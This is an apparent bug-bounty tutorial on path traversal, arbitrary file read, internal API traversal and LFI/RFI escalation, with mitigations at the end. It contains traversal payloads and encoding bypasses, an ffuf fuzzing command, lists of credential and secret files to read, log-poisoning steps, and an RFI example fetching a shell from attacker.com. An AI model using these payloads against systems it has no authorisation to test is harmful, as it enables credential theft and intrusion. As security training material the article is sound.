Ever tested a file download or preview endpoint and wondered if it could leak more than just the files it was supposed to serve?
Path – or directory – traversal vulnerabilities can expose passwords or secret tokens, source code and internal endpoints. Often leading to arbitrary file reads, exploits for these flaws can achieve significant impacts and Bug Bounty rewards.
In this article, you’ll learn how to detect and exploit path traversal in APIs, bypass sanitisation filters using encoding tricks, and escalate to internal path traversal by abusing server-side request forgery (SSRF) vulnerabilities or misconfigured proxies. We’ll also explore the mechanics of file resolution across different platforms and frameworks, discover the most valuable file targets for exploitation, and see how chaining traversal with other bugs can increase the impact of your exploits – and your Bug Bounty payouts.
Outline
- What is path traversal?
- How backend systems resolve file paths
- Typical vulnerable patterns
- Encoding and bypass techniques
- Exploiting path traversal in modern APIs
- Internal path traversal via internal API forwarding
- Arbitrary file read in practice
- Valuable files to target
- From read to execution: how file access turns critical
- Path traversal in the wild
- Mitigations and defences against path traversal
- Conclusion
What is path traversal?
Path traversal occurs when user input is used to build file paths without proper sanitization. This allows you to use ../
sequences to “traverse” directories and escape the intended path scope. By doing so, you can reach files that are outside the allowed directory – including sensitive configuration files, credentials and application source code.
For example, if the application serves files by appending a query parameter to a base path…
GET /?file=report.pdf
Then a malicious request like…
GET /?file=../../../etc/passwd
…could access the Unix password file, if the application doesn’t properly validate the resulting path.
The severity of the issue depends on which files are exposed and whether they contain secrets or code. But in many Bug Bounty scenarios, reading .env
or config.php
is enough to escalate access or pivot deeper into the system.
How backend systems resolve file paths
To exploit traversal reliably, it’s important to understand how file resolution works at the OS and language level. On Unix systems, ../
is interpreted literally by the filesystem, and functions like realpath()
or os.path.abspath()
are used to normalise the path before access. On Windows, both slashes (/
) and backslashes (\
) are accepted, and applications may normalise them inconsistently.
Various programming languages introduce additional nuances:
- Node.js uses
path.join()
orpath.resolve()
, but developers often forget to validate the result. - Python uses
os.path.join()
andPathlib
, but path normalisation alone doesn’t guarantee security unless the final resolved path has been validated. - Older versions of PHP (prior to 5.3.4) allowed null byte injection to bypass file extension constraints
- Java can use
File.getCanonicalPath()
to normalise paths, but misuse leads to traversal bugs. - Go and serverless frameworks may load files from cloud-mapped paths like
/var/task/
, which becomes a critical read target if exposed.
Constructing a path securely requires resolving it to an absolute form, then comparing it to a known safe base directory. Simply checking for ../
is never enough!
Typical vulnerable patterns
Path traversal often hides in features that seem harmless. Common vulnerable patterns include:
- File download or export endpoints:
/download?file=report.csv
→ file=../../../etc/passwd
- Log viewers or debuggers:
/view-log?path=latest.log
- Template preview features:
/preview?template=invoice.html
- Internal file fetchers or backup tools:
/api/fetch?name=backup.tar.gz
In APIs, traversal is common inside JSON parameters:
POST/api/export
{
"filename":"../../../etc/shadow"
}
Or embedded into nested structures, especially in GraphQL:
query {
readFile(path: "../../../../../.env")
}
Even with frontend validation, these inputs are often passed unvalidated to backend logic.
Encoding and bypass techniques
Many applications block direct use of ../
, but decoding behavior in proxies or application layers may allow functionally equivalent payloads.
Effective bypass techniques include:
- Basic encoding:
%2e%2e%2f
for../
- Double encoding:
%252e%252e%252f decodes to %2e%2e%2f
- Overlong UTF-8:
%c0%ae
(legacy) - Mixed slashes: ..\\..\\ (works on Windows or with tolerant parsers)
- Dotless traversal:
./////./////.////etc////passwd
- Suffix poisoning:
../../../etc/passwd%00.png
(legacy PHP/C)
These techniques become even more powerful when path values pass through multiple decoding layers – for example: Nginx -> Node.js -> Python.
To accelerate testing, use tools like ffuf with a custom wordlist:
ffuf-u https://target.com/download?file=FUZZ -w path-wordlist.txt -fc 403
Ffuf, which is written in Go, is a fast web fuzzer. The -fc
(filter status code) option is used to ignore responses with specific HTTP status codes. In the example above, -fc 403
filters out forbidden responses, freeing researchers up to focus on more relevant results.
Alternatively, we recommend leveraging predefined payload lists like those provided by Wfuzz.
Be careful not to overload the server when fuzzing and, if you’re Bug Bounty hunting, always follow the program rules!
Exploiting path traversal in modern APIs
Path traversal is more likely to appear in JSON APIs than query strings. This is especially true for:
- Export features that read templates or reports
- File storage APIs (for instance S3 proxies)
- Lambda functions that dynamically load files
- Microservices fetching content on behalf of other services
Consider this real-world scenario involving an authenticated endpoint:
POST/api/v2/preview-document
{
"templatePath":"../../../../../var/task/index.js"
}
The application here was built on AWS Lambda with source code stored in /var/task/
. The endpoint rendered templates using the value of templatePath
, which led to full source code disclosure.
In another case, a REST API offered an export route with filename control:
{
"exportFile":"../../../../.env"
}
While frontend validation stripped ../
, the backend only validated extensions (ie .csv). A null byte bypass (%00.csv
) allowed reading of the environment file, exposing live production secrets.
Internal path traversal via internal API forwarding
In some applications, when a user submits a request, the server doesn’t process it directly but instead forwards it internally to another API – often a private backend service not exposed to the public internet. This pattern is common in microservice architectures, where a gateway or frontend handles incoming client requests and then issues new internal requests.
Consider this diagram:
The user sends a POST request to /edit_user
with a JSON payload like:
{
"user_id":"456",
"username":"poc"
}
This user-controlled request is parsed by the server, which extracts the user_id
and internally forwards the request to an API endpoint – in this case: POST /api/v1/users/456
. The internal API then executes the request and returns a structured response:
{
"status":200,
"message":"successful request"
}
This is where things get interesting. Since the server constructs the internal API path using user input, you could try injecting path traversal payloads. For example, instead of user_id=456
, you might send:
{
"user_id":"../../admin/roles",
"username":"poc"
}
This would result in the server forwarding the request to:
POST /api/v1/users/../../admin/roles
Depending on path resolution, this might resolve to /api/v1/admin/roles
– thereby bypassing routing restrictions and accessing an internal or privileged resource.
Even if the server doesn’t return the full response from the internal API, many applications still leak useful clues – status codes, success flags or generic messages like "Permission denied" – confirming that the backend request was executed and helping to signpost opportunities for further exploitation.
In more advanced cases, this internal API might have higher privileges or access to restricted endpoints. As with SSRF exploits, you’re using the application as a proxy to hit internal services – but via path manipulation rather than URL control.
This kind of internal path traversal can become even more powerful when chained with bugs like IDOR (to identify valid resource paths) or misconfigured access control (to exploit internal roles or tokens). Ultimately, you’re not exploiting a file system directly – you’re hijacking the backend’s logic to navigate internal API routes in unintended ways.
Arbitrary file read in practice
Once user-controlled input is passed directly into a file access function without restricting it to a base directory, the attack surface expands far beyond directory traversal.
This kind of vulnerability doesn’t rely on ../
sequences. Instead, it stems from backend logic that blindly trusts a full user-supplied path, often within JSON APIs or internal tooling. You’re no longer escaping a path – you’re choosing which files to access, often without constraint.
Cloud paths
In real-world cloud environments, this can lead to severe consequences. Applications running on AWS Lambda, Google Cloud Functions or Azure often store source code and credentials in predictable locations such as /var/task/
, /home/site/wwwroot/
or /var/secrets/
. Arbitrary read access to these paths can reveal:
- Source code of the deployed service
- Environment variables used for authentication
- Temporary cloud credentials injected by the platform
- API tokens and secrets stored in
.env
,config.yml
or JSON config files
/proc tricks
Linux exposes a wealth of process information via the /proc/
filesystem. Reading /proc/self/environ
discloses secrets injected into the runtime environment, while /proc/self/cmdline
can leak command-line flags passed to the application.
On web servers, arbitrary file read allows you to dump source code files, which may expose hardcoded secrets and unsafe code patterns. These insights often lead to higher-impact vulnerabilities.
User-upload exploits
You can also explore user-uploaded data or internal log files. Predictable file naming conventions – such as /uploads/42/resume.pdf
– enable horizontal privilege escalation by exploring paths and accessing private documents. If session files are stored on disk, reading them may allow for full session hijacking.
For example, if you’re able to upload a file and control its content type or extension, you could escalate a vulnerability to remote code execution by tricking the server into interpreting your upload as executable code!
Valuable files to target
Once you confirm file read capabilities, shift your focus to targets with the greatest potential impacts:
Unix/Linux
/etc/passwd
– Proof of read/etc/shadow
– Credential hashes/proc/self/environ
– Environment variables (look for AWS keys, tokens, debug flags).env
,config.json
,settings.py
,config.yaml
– Secrets (DB creds, API keys, cloud access)/var/run/secrets/kubernetes.io/serviceaccount/token
– Kubernetes service account token.bash_history
,.git/config
– operational commands and repo info
Windows
C:\Windows\win.ini
– Classic PoCC:\Users\Administrator\NTUser.dat
– user data and registry hivesC:\inetpub\wwwroot\web.config
– IIS credentials and app secrets%APPDATA%\Microsoft\Credentials\
– Windows stored credentials
Web-specific and deployment-related
.git/config
,.svn/entries
– source control metadatacomposer.lock
,package-lock.json
,yarn.lock
– dependency info (may expose vulnerable packages)docker-compose.yml
,terraform.tfvars
,cloudbuild.yaml
– infrastructure-as-code secrets- Log files (
access.log
,error.log
, etc.) – session tokens, JWTs, IPs, headers credentials.json
,secrets.json
,.npmrc
,.pypirc
– API tokens, cloud credsaws/credentials
,~/.aws/config
– AWS IAM keys.kube/config
– Kubernetes cluster access.npmrc
,.gem/credentials
,.docker/config.json
– Package registry or container access tokens
These files often contain JWT secrets, SMTP credentials, database logins, API keys, hardcoded cloud tokens and internal service credentials used across CI/CD pipelines or production systems.
From read to execution: How file access turns critical
While path traversal and arbitrary file read are dangerous vulnerabilities in themselves, they also intersect with a broader category of file-based attacks – especially those leading to code execution. Understanding how these attack classes differ is essential for identifying escalation paths.
Path traversal vs local file inclusion
The main distinction lies in what the application does with the file once accessed. With path traversal, you can navigate directories and read files that should be out of reach. Arbitrary file read goes a step further by allowing you to read any file, regardless of its path.
But in some cases, the application doesn’t just read the file – it also includes and evaluates it. That’s how Local local File file Inclusion inclusion (LFI) comes into play.
Take this classic PHP example:
<?php
include($_GET['page']);// vulnerable
?>
You could pass ?page=../../../../../../var/log/apache2/access.log,
and if you’ve previously injected PHP code into that log file – for example by setting a malicious User-Agent
header – that code executes when the log is included.
In short, path traversal lets you navigate, arbitrary file read lets you read, and LFI lets you execute.
Remote file inclusion
Remote file inclusion (RFI) is similar to LFI but fetches the file from an external URL. In older PHP setups, simply calling…
?page=http://attacker.com/shell.txt
…would achieve instant RCE. Most modern setups now prevent this by disabling allow_url_include
, but RFI still exists in apps that implement fetching logic insecurely (for example by downloading and evaluating code with eval()
in JavaScript or Python).
Powerful chains: from read to execution
The true power of these vulnerabilities manifests when they are chained together. You might use path traversal to read configuration files and discover internal endpoints or credentials. In some cases, you could then leverage an arbitrary file write to plant a payload, and use a local file inclusion to execute it.
In another scenario, a log injection via a crafted header combined with an LFI in a debug panel would result in instant code execution.
These combinations include:
- Reading configs via traversal → discovering SSRF or auth bypass
- Writing to disk → including the payload via LFI = RCE
- Injecting code into logs → including those logs via LFI = RCE
Each primitive is valuable alone, but when combined thoughtfully, they lead to full compromise.
Path traversal in the wild
A notable, recent, in-the-wild path traversal was a high severity vulnerability (downgraded from CVSS 10) in GitLab that enabled unauthenticated malicious users to potentially “read arbitrary files on the server when an attachment exists in a public project nested within at least five groups”. The security flaw was reproduced and analysed by WatchTowr Labs and the Fastly security research team.
More recently, CVE-2024-38819 in the Spring Framework cast “light on a serious security issue affecting applications that serve static resources via functional web frameworks”. The directory traversal “issue lies in the improper handling of file paths, which enables attackers to perform directory traversal to access unauthorized files, including sensitive system files such as /etc/passwd,” wrote gbhackers.
Delving into the archives, Orange Tsai made a characteristically huge contribution to the evolution of techniques in this area with his ‘Breaking Parser Logic Take Your Path Normalization Off and Pop 0Days Out’ presentation at DEF CON 26.
Mitigations and defences against path traversal
The best mitigation for path traversal and arbitrary file read isn’t to patch after the fact – it’s to design your application so that user input never has the opportunity to influence file paths directly. Such functionality is rarely necessary, but when it is, it should be handled through strict indirection instead of trusting raw paths.
Devs should also avoid exposing endpoints that fetch or read files based on user-controlled values. If you truly need dynamic access to files, resolve paths to their absolute form and enforce that the final resolved path remains within a predefined, safe base directory. This verification must use strict comparison logic - never rely on simple blacklist checks!
Do not rely on simple blacklist filters or regexes that block strings like ../, as these can be bypassed in dozens of ways as we’ve demonstrated in this article! If your only protection is a filter that blocks known traversal keywords, you’re not securing anything – you’re just delaying exploitation.
If you must resolve paths, always use absolute resolution functions (realpath
, path.resolve
, etc.) and compare the result with your base directory:
safe_base ="/app/reports/"
requested = os.path.realpath(os.path.join(safe_base, user_input))
ifnot requested.startswith(safe_base):
raiseException("Invalid file path")
And if you’re building microservices or APIs, be especially careful with internal routing logic. Don’t let path segments or filenames be built from user data without full validation and constraint.
In short: the most secure approach is to prevent users from influencing file paths at all. Eliminate the problem at the root – don’t just apply band-aids with potentially fragile filtering mechanisms.
Conclusion
Path traversal vulnerabilities date back to the late 90s but remain as important as ever for Bug Bounty hunters. Directory traversals lurk in many places – such as export features, JSON APIs, cloud functions and internal services – and can supercharge your exploits when chained with SSRFs, reverse proxy misconfigurations or cloud-specific file structures.
The rise of microservices has increased attack surfaces for these potentially high impact vulnerabilities. To help you exploit these opportunities, we’ve explored the core mechanisms of path traversal, how file resolution works across platforms, and how to bypass basic filters using encoding tricks. You’ve learned how to exploit path parameters in JSON APIs, chain traversals with SSRFs, identify high value target files, and understand how arbitrary file read opens the door to deeper and more impactful exploits.
So the next time you see a file parameter, don’t just test ../../etc/passwd
. Think deeper. Test internal APIs. Abuse SSRF. Go after the files that matter. That’s where the real bugs are!
Happy hunting! 👾